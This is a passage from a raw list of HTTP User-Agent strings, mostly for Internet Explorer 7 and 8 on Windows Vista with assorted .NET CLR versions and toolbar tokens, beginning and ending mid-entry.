.NET CLR 3.5.21022; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.30729; MS-RTC LM 8; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Lunascape 5.1.5.19059) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.0.04506; Tablet PC 2.0; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Sleipnir/2.6.1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; Zango 10.3.75.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; Zango 10.3.65.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Alexa Toolbar; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; FDM; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1) Sleipnir/2.5.17 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1; MS-RTC LM 8; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.1; Windows-Media-Player/10.00.00.3990) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; .NET CLR 3.5.21022; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2; Seekmo 10.0.341.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; MEGAUPLOAD 2.0; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.1.4.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; PeoplePal 3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Seekmo 10.0.406.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Tablet PC 2.0; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.0.370.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; Zango 10.3.70.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30628) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; InfoPath.2; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; InfoPath.2; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; MS-RTC LM 8; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; Dealio Toolbar 3.4; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; FDM; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; WWTClient2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.1; .NET CLR 3.5.21022; .NET CLR 3.0.30618; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Zango 10.3.75.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; FunWebProducts; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; InfoPath.1; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SV1; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; TencentTraveler 4.0; QQDownload 667; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; (R1 1.6); SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB0.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.5.30 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; QQDownload 667; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB5; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.0.5.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.3; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.1.4322; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.5; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKMAN3.2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKman3.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; KKman3.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6.6; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Lunascape 5.1.2.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; Lunascape 5.0.4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR 3.0.30729; Lunascape 5.1.3.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; GTB7.3; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; MathPlayer 2.10d; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Maxthon; SLCC1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Maxthon; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; InfoPath.2; msn OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; FDM; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.30729; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; Alexa Toolbar; MEGAUPLOAD 1.0; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.30729; msn OptimizedIE8;ZHHK) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.20706; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.0.30618; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.21022; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 